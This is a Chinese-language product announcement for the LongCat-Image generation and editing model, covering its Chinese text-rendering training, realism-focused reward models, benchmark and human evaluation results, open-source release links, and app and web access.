针对中文文本渲染这一行业痛点,LongCat-Image 通过课程学习策略来提升字符覆盖度和渲染精准度:预训练阶段基于千万量级合成数据学习字形,覆盖通用规范汉字表的8105个汉字;SFT 阶段引入真实世界文本图像数据,提升在字体、排版布局上的泛化能力;RL 阶段融入 OCR 与美学双奖励模型,进一步提升文本准确性与背景融合自然度。此外通过对 prompt 中指定渲染的文本采用字符级编码,大幅降低模型记忆负担,实现文字生成学习效率的跨越式提升。通过该项能力加持,有效支持海报设计、商业广告作图场景中复杂笔画结构汉字的渲染,以及古诗词插图、对联、门店招牌、文字Logo等设计场景的生僻字渲染

文字生成能力对比

此外,LongCat-Image通过系统性的数据筛选与对抗训练框架,实现了出图纹理细节和真实感的提升。预训练和中期训练阶段严格过滤AIGC数据,避免陷入“塑料感”纹理的局部最优;在SFT阶段,所有数据均经过人工精筛来对齐大众审美;在RL阶段,创新性地引入AIGC内容检测器作为奖励模型,利用其对抗信号逆向引导模型学习真实世界的物理纹理、光影和质感。

图像生成综合能力对比

性能验证

客观基准评测

客观基准测试性能对比

全面的客观基准测试充分验证了 LongCat-Image 的核心竞争力:图像编辑任务中,ImgEdit-Bench(4.50分)、 GEdit-Bench 中英文得分(7.607.64分)分别达到开源SOTA水平,且逼近头部闭源模型水平;文字渲染方面,ChineseWord 评测以 90.7 分的成绩大幅领先所有参评模型,实现常用字、生僻字的全量精准覆盖;文生图任务上,GenEval 0.87 分、DPG-Bench 86.8 分的表现,使其在生图基础能力上相比头部开源与闭源模型依然具备强竞争力。

综合主观评测

在衡量模型的通用能力时,我们始终将用户的真实体验放在首位。为此,我们采用业界公认的主观评价方法,对LongCat-Image在“文生图”与“图像编辑”两大核心场景下的表现进行了系统评估。

在文生图方面采用大规模的人工主观评分(MOS)方法,核心覆盖 文本-图像对齐、视觉合理度、视觉真实度、美学质量4个维度,LongCat-Image 的真实度相比主流开闭源模型表现出色,同时在文本-图像对齐与合理度上也达到开源SOTA水平。在图像编辑方面采用严格的并列对比评估(Side-by-Side, SBS)方法,聚焦于综合编辑质量、视觉一致性这两个用户体验的维度,评测结果表明,LongCat-Image 虽然与 Nano Banana、Seedream 4.0 等商业模型存在一定差距,但显著超越了其他开源方案。

人类主观评分(MOS)对比& 并列对比评估胜率(SBS)

开源开放

为了构建一个更透明、开放、协作的开源生态系统,我们全面开源文生图的多阶段模型(Mid-training、Post-training)和图像编辑模型,旨在无缝支持从前沿研究到商业应用的全流程。我们坚信,真正的技术进步源于社区的集体智慧。诚邀广大开发者体验模型、参与共建,让我们共同基于这个高效能模型,探索视觉生成的更多可能。

🔗 资源链接:

| Hugging Face: https://huggingface.co/meituan-longcat/LongCat-Image

| GitHub: https://github.com/meituan-longcat/LongCat-Image

零门槛解锁 AI 创作新可能

LongCat APP:一键生成专业级图像

继文生图功能上线后,「LongCat APP」全新升级图生图能力!上传任意素材(风景照、自拍照、草稿线稿均可),模型将精准捕捉核心元素,按需求生成全新图像。同步上线 24 个零门槛图片玩法模板,涵盖海报设计、人像精修、场景改造等多重场景,点击 “AI 创作” 直接套用,彻底告别 “提示词焦虑”,小白也能快速产出专业级作品。

LongCat.ai:网页端高效创作入口

进入https://longcat.ai/点击「图片生成」,可上传参考图、自由调整比例、选择心仪风格,无需复杂配置即可快速获得高质量生成结果。无论是商业设计初稿、社交媒体素材,还是个性化创意创作,都能高效完成。

扫描下方二维码即可体验 Web 端及下载 LongCat APP 安卓版本(iOS 用户可直接在 APP Store 中搜索“LongCat”)

快翻出相册里压箱底的素材,即刻使用 LongCat-Image 解锁图片创作的无限可能~